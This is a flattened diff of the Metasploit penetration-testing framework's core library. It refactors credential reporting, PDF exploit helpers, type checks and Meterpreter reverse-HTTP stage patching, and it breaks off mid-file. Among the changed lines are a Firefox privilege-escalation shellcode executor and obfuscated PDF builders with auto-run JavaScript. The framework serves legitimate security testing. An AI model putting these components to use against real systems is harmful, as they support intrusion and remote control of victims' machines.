||||
end
|
||||
|
||||
|
||||
# Checks all three files for usernames and passwords, and combines them into
|
||||
|
|
|
@ -29,6 +29,7 @@ module Auxiliary::JohnTheRipper
|
|||
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
|
||||
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
|
||||
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
|
||||
OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
|
||||
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
|
||||
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
|
||||
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),
|
||||
|
|
|
@ -12,6 +12,38 @@ module Auxiliary::Report
|
|||
|
||||
optionally_include_metasploit_credential_creation
|
||||
|
||||
def create_cracked_credential(opts={})
|
||||
if active_db?
|
||||
super(opts)
|
||||
else
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
end
|
||||
|
||||
def create_credential(opts={})
|
||||
if active_db?
|
||||
super(opts)
|
||||
else
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
end
|
||||
|
||||
def create_credential_login(opts={})
|
||||
if active_db?
|
||||
super(opts)
|
||||
else
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
end
|
||||
|
||||
def invalidate_login(opts={})
|
||||
if active_db?
|
||||
super(opts)
|
||||
else
|
||||
vprint_warning('No active DB -- Credential data will not be saved!')
|
||||
end
|
||||
end
|
||||
|
||||
# This method overrides the method from Metasploit::Credential to check for an active db
|
||||
def active_db?
|
||||
framework.db.active
|
||||
|
@ -125,13 +157,102 @@ module Auxiliary::Report
|
|||
framework.db.report_note(opts)
|
||||
end
|
||||
|
||||
# This Legacy method is responsible for creating credentials from data supplied
|
||||
# by a module. This method is deprecated and the new Metasploit::Credential methods
|
||||
# should be used directly instead.
|
||||
#
|
||||
# @param :opts [Hash] the option hash
|
||||
# @option opts [String] :host the address of the host (also takes a {Mdm::Host})
|
||||
# @option opts [Fixnum] :port the port of the connected service
|
||||
# @option opts [Mdm::Service] :service an optional Service object to build the cred for
|
||||
# @option opts [String] :type What type of private credential this is (e.g. "password", "hash", "ssh_key")
|
||||
# @option opts [String] :proto Which transport protocol the service uses
|
||||
# @option opts [String] :sname The 'name' of the service
|
||||
# @option opts [String] :user The username for the cred
|
||||
# @option opts [String] :pass The private part of the credential (e.g. password)
|
||||
def report_auth_info(opts={})
|
||||
print_error "*** #{self.fullname} is still calling the deprecated report_auth_info method! This needs to be updated!"
|
||||
return if not db
|
||||
opts = {
|
||||
:workspace => myworkspace,
|
||||
:task => mytask
|
||||
}.merge(opts)
|
||||
framework.db.report_auth_info(opts)
|
||||
raise ArgumentError.new("Missing required option :host") if opts[:host].nil?
|
||||
raise ArgumentError.new("Missing required option :port") if (opts[:port].nil? and opts[:service].nil?)
|
||||
|
||||
if opts[:host].kind_of?(::Mdm::Host)
|
||||
host = opts[:host].address
|
||||
else
|
||||
host = opts[:host]
|
||||
end
|
||||
|
||||
type = :password
|
||||
case opts[:type]
|
||||
when "password"
|
||||
type = :password
|
||||
when "hash"
|
||||
type = :nonreplayable_hash
|
||||
when "ssh_key"
|
||||
type = :ssh_key
|
||||
end
|
||||
|
||||
case opts[:proto]
|
||||
when "tcp"
|
||||
proto = "tcp"
|
||||
when "udp"
|
||||
proto = "udp"
|
||||
else
|
||||
proto = "tcp"
|
||||
end
|
||||
|
||||
if opts[:service] && opts[:service].kind_of?(Mdm::Service)
|
||||
port = opts[:service].port
|
||||
proto = opts[:service].proto
|
||||
service_name = opts[:service].name
|
||||
host = opts[:service].host.address
|
||||
else
|
||||
port = opts.fetch(:port)
|
||||
service_name = opts.fetch(:sname, nil)
|
||||
end
|
||||
|
||||
username = opts.fetch(:user, nil)
|
||||
private = opts.fetch(:pass, nil)
|
||||
|
||||
service_data = {
|
||||
address: host,
|
||||
port: port,
|
||||
service_name: service_name,
|
||||
protocol: proto,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
if self.type == "post"
|
||||
credential_data = {
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname
|
||||
}
|
||||
else
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname
|
||||
}
|
||||
credential_data.merge!(service_data)
|
||||
end
|
||||
|
||||
unless private.nil?
|
||||
credential_data[:private_type] = type
|
||||
credential_data[:private_data] = private
|
||||
end
|
||||
|
||||
unless username.nil?
|
||||
credential_data[:username] = username
|
||||
end
|
||||
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data ={
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED
|
||||
}
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
|
||||
def report_vuln(opts={})
|
||||
|
|
|
@ -13,18 +13,18 @@ module Msf::DBManager::IPAddress
|
|||
end
|
||||
|
||||
def rfc3330_reserved(ip)
|
||||
case ip.class.to_s
|
||||
when "PacketFu::Octets"
|
||||
case ip
|
||||
when PacketFu::Octets
|
||||
ip_x = ip.to_x
|
||||
ip_i = ip.to_i
|
||||
when "String"
|
||||
when String
|
||||
if ipv46_validator(ip)
|
||||
ip_x = ip
|
||||
ip_i = Rex::Socket.addr_atoi(ip)
|
||||
else
|
||||
raise ArgumentError, "Invalid IP address: #{ip.inspect}"
|
||||
end
|
||||
when "Fixnum"
|
||||
when Fixnum
|
||||
if (0..2**32-1).include? ip
|
||||
ip_x = Rex::Socket.addr_itoa(ip)
|
||||
ip_i = ip
|
||||
|
|
|
@ -109,10 +109,13 @@ class EncodedPayload
|
|||
if reqs['BadChars'] or reqs['Encoder'] or reqs['ForceEncode']
|
||||
encoders = pinst.compatible_encoders
|
||||
|
||||
# Fix encoding issue
|
||||
# Make sure the encoder name from the user has the same String#encoding
|
||||
# as the framework's list of encoder names so we can compare them later.
|
||||
# This is important for when we get input from RPC.
|
||||
if reqs['Encoder']
|
||||
reqs['Encoder'] = reqs['Encoder'].encode(framework.encoders.keys[0].encoding)
|
||||
end
|
||||
|
||||
# If the caller had a preferred encoder, use this encoder only
|
||||
if ((reqs['Encoder']) and (preferred = framework.encoders[reqs['Encoder']]))
|
||||
encoders = [ [reqs['Encoder'], preferred] ]
|
||||
|
@ -164,7 +167,7 @@ class EncodedPayload
|
|||
if (reqs['ForceSaveRegisters'] and
|
||||
reqs['EncoderOptions'] and
|
||||
(reqs['EncoderOptions']['SaveRegisters'].to_s.length > 0) and
|
||||
(! self.encoder.preserves_registers?))
|
||||
(! self.encoder.can_preserve_registers?))
|
||||
wlog("#{pinst.refname}: Encoder #{encoder.refname} does not preserve registers and the caller needs #{reqs['EncoderOptions']['SaveRegisters']} preserved.",
|
||||
'core', LEV_1)
|
||||
next
|
||||
|
@ -236,6 +239,7 @@ class EncodedPayload
|
|||
self.encoded = eout
|
||||
break
|
||||
}
|
||||
|
||||
# If the encoded payload is nil, raise an exception saying that we
|
||||
# suck at life.
|
||||
if (self.encoded == nil)
|
||||
|
|
|
@ -416,7 +416,7 @@ class Encoder < Module
|
|||
#
|
||||
# Determines whether the encoder can preserve registers at all
|
||||
#
|
||||
def preserves_registers?
|
||||
def can_preserve_registers?
|
||||
false
|
||||
end
|
||||
|
||||
|
|
|
@ -179,23 +179,23 @@ class EventDispatcher
|
|||
if respond_to?(subscribers, true)
|
||||
found = true
|
||||
self.send(subscribers).each do |sub|
|
||||
next if not sub.respond_to?(name)
|
||||
next if not sub.respond_to?(name, true)
|
||||
sub.send(name, *args)
|
||||
end
|
||||
else
|
||||
(general_event_subscribers + custom_event_subscribers).each do |sub|
|
||||
next if not sub.respond_to?(name)
|
||||
next if not sub.respond_to?(name, true)
|
||||
sub.send(name, *args)
|
||||
found = true
|
||||
end
|
||||
end
|
||||
when "add"
|
||||
if respond_to?(subscribers)
|
||||
if respond_to?(subscribers, true)
|
||||
found = true
|
||||
add_event_subscriber(self.send(subscribers), *args)
|
||||
end
|
||||
when "remove"
|
||||
if respond_to?(subscribers)
|
||||
if respond_to?(subscribers, true)
|
||||
found = true
|
||||
remove_event_subscriber(self.send(subscribers), *args)
|
||||
end
|
||||
|
|
|
@ -224,12 +224,12 @@ module Exploit::CmdStager
|
|||
def guess_flavor
|
||||
# First try to guess a compatible flavor based on the module & target information.
|
||||
unless target_flavor.nil?
|
||||
case target_flavor.class.to_s
|
||||
when 'Array'
|
||||
case target_flavor
|
||||
when Array
|
||||
return target_flavor[0].to_sym
|
||||
when 'String'
|
||||
when String
|
||||
return target_flavor.to_sym
|
||||
when 'Symbol'
|
||||
when Symbol
|
||||
return target_flavor
|
||||
end
|
||||
end
|
||||
|
@ -283,12 +283,12 @@ module Exploit::CmdStager
|
|||
# @return [Boolean] true if compatible, false otherwise.
|
||||
def compatible_flavor?(f)
|
||||
return true if target_flavor.nil?
|
||||
case target_flavor.class.to_s
|
||||
when 'String'
|
||||
case target_flavor
|
||||
when String
|
||||
return true if target_flavor == f.to_s
|
||||
when 'Array'
|
||||
when Array
|
||||
target_flavor.each { |tr| return true if tr.to_sym == f }
|
||||
when 'Symbol'
|
||||
when Symbol
|
||||
return true if target_flavor == f
|
||||
end
|
||||
false
|
||||
|
|
|
@ -78,7 +78,7 @@ module Exploit::Remote::FtpServer
|
|||
return if not cmd
|
||||
|
||||
# Allow per-command overrides
|
||||
if(self.respond_to?("on_client_command_#{cmd.downcase}"))
|
||||
if self.respond_to?("on_client_command_#{cmd.downcase}", true)
|
||||
return self.send("on_client_command_#{cmd.downcase}", c, arg)
|
||||
end
|
||||
|
||||
|
|
|
@ -87,7 +87,7 @@ module Exploit::Java
|
|||
raise RuntimeError, "Could not load rjb and/or the JVM: " + @java_error.to_s
|
||||
end
|
||||
|
||||
if compile_options.class.to_s != "Array" && compile_options
|
||||
if !compile_options.is_a?(Array) && compile_options
|
||||
raise RuntimeError, "Compiler options must be of type Array."
|
||||
end
|
||||
|
||||
|
|
|
@ -123,7 +123,7 @@ module Exploit::Local::WindowsKernel
|
|||
arch = target.opts['Arch'] if arch.nil? && target && target.opts['Arch']
|
||||
if arch.nil? && module_info['Arch']
|
||||
arch = module_info['Arch']
|
||||
arch = arch[0] if arch.class.to_s == 'Array' and arch.length == 1
|
||||
arch = arch[0] if arch.is_a?(Array) and arch.length == 1
|
||||
end
|
||||
if arch.nil?
|
||||
print_error('Can not determine the target architecture')
|
||||
|
|
|
@ -45,7 +45,7 @@ module Exploit::ORACLE
|
|||
def check_dependencies
|
||||
if not @oci8_loaded
|
||||
print_error("Failed to load the OCI library: #{@oci8_error}")
|
||||
print_error("See http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage for installation instructions")
|
||||
print_error("Try 'gem install ruby-oci8'")
|
||||
return false
|
||||
end
|
||||
return true
|
||||
|
|
|
@ -30,7 +30,7 @@ module Exploit::PDF
|
|||
#Original Filters
|
||||
##
|
||||
|
||||
def ASCIIHexWhitespaceEncode(str)
|
||||
def ascii_hex_whitespace_encode(str)
|
||||
return str if not datastore['PDF::Obfuscate']
|
||||
result = ""
|
||||
whitespace = ""
|
||||
|
@ -44,7 +44,7 @@ module Exploit::PDF
|
|||
##
|
||||
#Filters from Origami parser
|
||||
##
|
||||
def RunLengthEncode(stream)
|
||||
def run_length_encode(stream)
|
||||
eod = 128
|
||||
result = ""
|
||||
i = 0
|
||||
|
@ -85,7 +85,7 @@ module Exploit::PDF
|
|||
result << eod.chr
|
||||
end
|
||||
|
||||
def RandomNonASCIIString(count)
|
||||
def random_non_ascii_string(count)
|
||||
result = ""
|
||||
count.times do
|
||||
result << (rand(128) + 128).chr
|
||||
|
@ -93,7 +93,7 @@ module Exploit::PDF
|
|||
result
|
||||
end
|
||||
|
||||
def ASCII85Encode(stream)
|
||||
def ascii85_encode(stream)
|
||||
eod = "~>"
|
||||
i = 0
|
||||
code = ""
|
||||
|
@ -130,7 +130,7 @@ module Exploit::PDF
|
|||
end
|
||||
|
||||
# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/
|
||||
def nObfu(str)
|
||||
def nobfu(str)
|
||||
return str if not datastore['PDF::Obfuscate']
|
||||
|
||||
result = ""
|
||||
|
@ -149,13 +149,13 @@ module Exploit::PDF
|
|||
##
|
||||
def header(version = '1.5')
|
||||
hdr = "%PDF-#{version}" << eol
|
||||
hdr << "%" << RandomNonASCIIString(4) << eol
|
||||
hdr << "%" << random_non_ascii_string(4) << eol
|
||||
hdr
|
||||
end
|
||||
|
||||
def add_object(num, data)
|
||||
@xref[num] = @pdf.length
|
||||
@pdf << ioDef(num)
|
||||
@pdf << io_def(num)
|
||||
@pdf << data
|
||||
@pdf << endobj
|
||||
end
|
||||
|
@ -186,7 +186,7 @@ module Exploit::PDF
|
|||
end
|
||||
|
||||
def trailer(root_obj)
|
||||
ret = "trailer" << nObfu("<</Size %d/Root " % (@xref.length + 1)) << ioRef(root_obj) << ">>" << eol
|
||||
ret = "trailer" << nobfu("<</Size %d/Root " % (@xref.length + 1)) << io_ref(root_obj) << ">>" << eol
|
||||
ret
|
||||
end
|
||||
|
||||
|
@ -209,18 +209,18 @@ module Exploit::PDF
|
|||
"endobj" << eol
|
||||
end
|
||||
|
||||
def ioDef(id)
|
||||
def io_def(id)
|
||||
"%d 0 obj" % id
|
||||
end
|
||||
|
||||
def ioRef(id)
|
||||
def io_ref(id)
|
||||
"%d 0 R" % id
|
||||
end
|
||||
|
||||
##
|
||||
#Controller funtion, should be entrypoint for pdf exploits
|
||||
##
|
||||
def CreatePDF(js)
|
||||
def create_pdf(js)
|
||||
strFilter = ""
|
||||
arrResults = []
|
||||
numIterations = 0
|
||||
|
@ -233,10 +233,10 @@ module Exploit::PDF
|
|||
end
|
||||
for i in (0..numIterations-1)
|
||||
if i == 0
|
||||
arrResults = SelectEncoder(js,arrEncodings[i],strFilter)
|
||||
arrResults = select_encoder(js,arrEncodings[i],strFilter)
|
||||
next
|
||||
end
|
||||
arrResults = SelectEncoder(arrResults[0],arrEncodings[i],arrResults[1])
|
||||
arrResults = select_encoder(arrResults[0],arrEncodings[i],arrResults[1])
|
||||
end
|
||||
case datastore['PDF::Method']
|
||||
when 'PAGE'
|
||||
|
@ -251,19 +251,19 @@ module Exploit::PDF
|
|||
##
|
||||
#Select an encoder and build a filter specification
|
||||
##
|
||||
def SelectEncoder(js,strEncode,strFilter)
|
||||
def select_encoder(js,strEncode,strFilter)
|
||||
case strEncode
|
||||
when 'ASCII85'
|
||||
js = ASCII85Encode(js)
|
||||
js = ascii85_encode(js)
|
||||
strFilter = "/ASCII85Decode"<<strFilter
|
||||
when 'ASCIIHEX'
|
||||
js = ASCIIHexWhitespaceEncode(js)
|
||||
js = ascii_hex_whitespace_encode(js)
|
||||
strFilter = "/ASCIIHexDecode"<<strFilter
|
||||
when 'FLATE'
|
||||
js = Zlib::Deflate.deflate(js)
|
||||
strFilter = "/FlateDecode"<<strFilter
|
||||
when 'RUN'
|
||||
js = RunLengthEncode(js)
|
||||
js = run_length_encode(js)
|
||||
strFilter = "/RunLengthDecode"<<strFilter
|
||||
end
|
||||
return js,strFilter
|
||||
|
@ -277,10 +277,10 @@ module Exploit::PDF
|
|||
@pdf = ''
|
||||
|
||||
@pdf << header
|
||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
||||
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
|
||||
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
|
||||
compressed = js
|
||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||
stream << "stream" << eol
|
||||
|
@ -301,10 +301,10 @@ module Exploit::PDF
|
|||
|
||||
@pdf << header
|
||||
|
||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
||||
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /AA << /O << /JS ") << ioRef(5) << nObfu("/S /JavaScript >>>>>>"))
|
||||
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /AA << /O << /JS ") << io_ref(5) << nobfu("/S /JavaScript >>>>>>"))
|
||||
compressed = js
|
||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||
stream << "stream" << eol
|
||||
|
@ -324,11 +324,11 @@ module Exploit::PDF
|
|||
|
||||
@pdf << header
|
||||
|
||||
add_object(1, nObfu("<</Type/Catalog/Outlines ") << ioRef(2) << nObfu("/Pages ") << ioRef(3) << ">>")
|
||||
add_object(2, nObfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nObfu("<</Type/Pages/Kids[") << ioRef(4) << nObfu("]/Count 1>>"))
|
||||
add_object(4, nObfu("<</Type/Page/Parent ") << ioRef(3) << nObfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nObfu(" /Annots [") << ioRef(5) << nObfu("]>>"))
|
||||
add_object(5, nObfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << ioRef(6) << nObfu("/S /JavaScript >>>>>>"))
|
||||
add_object(1, nobfu("<</Type/Catalog/Outlines ") << io_ref(2) << nobfu("/Pages ") << io_ref(3) << ">>")
|
||||
add_object(2, nobfu("<</Type/Outlines/Count 0>>"))
|
||||
add_object(3, nobfu("<</Type/Pages/Kids[") << io_ref(4) << nobfu("]/Count 1>>"))
|
||||
add_object(4, nobfu("<</Type/Page/Parent ") << io_ref(3) << nobfu("/MediaBox[%s %s %s %s] " % [rand(200),rand(200),rand(300),rand(300)]) << nobfu(" /Annots [") << io_ref(5) << nobfu("]>>"))
|
||||
add_object(5, nobfu("<</Type/Annot /Subtype /Screen /Rect [%s %s %s %s] /AA << /PO << /JS " % [rand(200),rand(200),rand(300),rand(300)]) << io_ref(6) << nobfu("/S /JavaScript >>>>>>"))
|
||||
compressed = js
|
||||
stream = "<</Length %s/Filter[" % compressed.length << strFilter << "]>>" << eol
|
||||
stream << "stream" << eol
|
||||
|
|
|
@ -36,6 +36,7 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
|
|||
%Q|
|
||||
var execShellcode = function(shellcode, bytes) {
|
||||
Components.utils.import("resource://gre/modules/ctypes.jsm");
|
||||
|
||||
var execPosix = function() {
|
||||
var RWX = 7, ANON_PRIVATE = 4098;
|
||||
Components.utils.import("resource://gre/modules/ctypes.jsm");
|
||||
|
@ -77,7 +78,6 @@ module Exploit::Remote::FirefoxPrivilegeEscalation
|
|||
);
|
||||
var buff = mmap(null, shellcode.length, RWX, ANON_PRIVATE, 0, 0);
|
||||
var cstr = ctypes.jschar.array()(shellcode);
|
||||
//var bytes = ctypes.char.array()(shellcode).length-1;
|
||||
memcpy(buff, cstr, bytes);
|
||||
/* there is probably a better way to do this */
|
||||
var m = buff.toString().match(/"0x([0-9a-fA-F]*)"/);
|
||||
|
|
|
@ -84,7 +84,7 @@ module Exploit::Remote::SunRPC
|
|||
rpcobj.pport = arr[5]
|
||||
end
|
||||
|
||||
def sunrpc_call(proc, buf, timeout = timeout)
|
||||
def sunrpc_call(proc, buf, timeout = timeout())
|
||||
ret = rpcobj.call(proc, buf, timeout)
|
||||
raise ::Rex::Proto::SunRPC::RPCError, "#{rhost}:#{rport} - SunRPC - No response to SunRPC call for procedure: #{proc}" unless ret
|
||||
|
||||
|
|
|
@ -161,6 +161,11 @@ module Exploit::Remote::TcpServer
|
|||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
|
||||
if service.kind_of?(Rex::Proto::Http::Server)
|
||||
service.stop
|
||||
end
|
||||
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
end
|
||||
|
|
|
@ -271,15 +271,21 @@ protected
|
|||
exploit.fail_reason = Msf::Exploit::Failure::Unknown
|
||||
end
|
||||
|
||||
elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0)
|
||||
|
||||
if exploit.fail_reason == Msf::Exploit::Failure::Unknown
|
||||
exploit.print_error("Exploit failed: #{msg}")
|
||||
exploit.print_error("Call stack:")
|
||||
e.backtrace.each do |line|
|
||||
break if line =~ /lib.msf.base.core.exploit_driver.rb/
|
||||
exploit.print_error(" #{line}")
|
||||
end
|
||||
elog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_0)
|
||||
else
|
||||
exploit.print_error("Exploit failed [#{exploit.fail_reason}]: #{msg}")
|
||||
end
|
||||
|
||||
elog("Exploit failed (#{exploit.refname}): #{msg}", 'core', LEV_0)
|
||||
dlog("Call stack:\n#{e.backtrace.join("\n")}", 'core', LEV_3)
|
||||
end
|
||||
end
|
||||
|
||||
# Record the error to various places
|
||||
exploit.framework.events.on_module_error(exploit, msg)
|
||||
|
@ -329,4 +335,3 @@ protected
|
|||
end
|
||||
|
||||
end
|
||||
|
||||
|
|
|
@ -247,40 +247,20 @@ module ReverseHopHttp
|
|||
|
||||
print_status("Preparing stage for next session #{conn_id}")
|
||||
blob = stage_payload
|
||||
|
||||
# Replace the user agent string with our option
|
||||
i = blob.index("METERPRETER_UA\x00")
|
||||
if i
|
||||
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = full_uri + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
|
||||
blob = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -2,6 +2,7 @@
|
|||
require 'rex/io/stream_abstraction'
|
||||
require 'rex/sync/ref'
|
||||
require 'msf/core/handler/reverse_http/uri_checksum'
|
||||
require 'rex/payloads/meterpreter/patch'
|
||||
|
||||
module Msf
|
||||
module Handler
|
||||
|
@ -257,86 +258,28 @@ protected
|
|||
})
|
||||
|
||||
when /^\/A?INITM?/
|
||||
url = ''
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} Staging connection for target #{req.relative_resource} received...")
|
||||
resp['Content-Type'] = 'application/octet-stream'
|
||||
|
||||
blob = obj.stage_payload
|
||||
|
||||
# Replace the user agent string with our option
|
||||
i = blob.index("METERPRETER_UA\x00")
|
||||
if i
|
||||
str = datastore['MeterpreterUserAgent'][0,255] + "\x00"
|
||||
blob[i, str.length] = str
|
||||
print_status("Patched user-agent at offset #{i}...")
|
||||
end
|
||||
|
||||
# Activate a custom proxy
|
||||
i = blob.index("METERPRETER_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
if i
|
||||
if datastore['PROXYHOST']
|
||||
if datastore['PROXYHOST'].to_s != ""
|
||||
proxyhost = datastore['PROXYHOST'].to_s
|
||||
proxyport = datastore['PROXYPORT'].to_s || "8080"
|
||||
proxyinfo = proxyhost + ":" + proxyport
|
||||
if proxyport == "80"
|
||||
proxyinfo = proxyhost
|
||||
end
|
||||
if datastore['PROXY_TYPE'].to_s == 'HTTP'
|
||||
proxyinfo = 'http://' + proxyinfo
|
||||
else #socks
|
||||
proxyinfo = 'socks=' + proxyinfo
|
||||
end
|
||||
proxyinfo << "\x00"
|
||||
blob[i, proxyinfo.length] = proxyinfo
|
||||
print_status("Activated custom proxy #{proxyinfo}, patch at offset #{i}...")
|
||||
#Optional authentification
|
||||
unless (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
|
||||
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
|
||||
datastore['PROXY_TYPE'] == 'SOCKS'
|
||||
|
||||
proxy_username_loc = blob.index("METERPRETER_USERNAME_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_username = datastore['PROXY_USERNAME'] << "\x00"
|
||||
blob[proxy_username_loc, proxy_username.length] = proxy_username
|
||||
|
||||
proxy_password_loc = blob.index("METERPRETER_PASSWORD_PROXY\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00")
|
||||
proxy_password = datastore['PROXY_PASSWORD'] << "\x00"
|
||||
blob[proxy_password_loc, proxy_password.length] = proxy_password
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
# Replace the transport string first (TRANSPORT_SOCKET_SSL)
|
||||
i = blob.index("METERPRETER_TRANSPORT_SSL")
|
||||
if i
|
||||
str = "METERPRETER_TRANSPORT_HTTP#{ssl? ? "S" : ""}\x00"
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched transport at offset #{i}...")
|
||||
|
||||
conn_id = generate_uri_checksum(URI_CHECKSUM_CONN) + "_" + Rex::Text.rand_text_alphanumeric(16)
|
||||
i = blob.index("https://" + ("X" * 256))
|
||||
if i
|
||||
url = payload_uri + conn_id + "/\x00"
|
||||
blob[i, url.length] = url
|
||||
end
|
||||
print_status("Patched URL at offset #{i}...")
|
||||
|
||||
i = blob.index([0xb64be661].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionExpirationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched Expiration Timeout at offset #{i}...")
|
||||
|
||||
i = blob.index([0xaf79257f].pack("V"))
|
||||
if i
|
||||
str = [ datastore['SessionCommunicationTimeout'] ].pack("V")
|
||||
blob[i, str.length] = str
|
||||
end
|
||||
print_status("Patched Communication Timeout at offset #{i}...")
|
||||
#
|
||||
# Patch options into the payload
|
||||
#
|
||||
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
|
||||
:ssl => ssl?,
|
||||
:url => url,
|
||||
:expiration => datastore['SessionExpirationTimeout'],
|
||||
:comm_timeout => datastore['SessionCommunicationTimeout'],
|
||||
:ua => datastore['MeterpreterUserAgent'],
|
||||
:proxyhost => datastore['PROXYHOST'],
|
||||
:proxyport => datastore['PROXYPORT'],
|
||||
:proxy_type => datastore['PROXY_TYPE'],
|
||||
:proxy_username => datastore['PROXY_USERNAME'],
|
||||
:proxy_password => datastore['PROXY_PASSWORD']
|
||||
|
||||
resp.body = encode_stage(blob)
|
||||
|
||||
|
|
|
@ -527,6 +527,10 @@ class OptRegexp < OptBase
|
|||
return Regexp.compile(value)
|
||||
end
|
||||
|
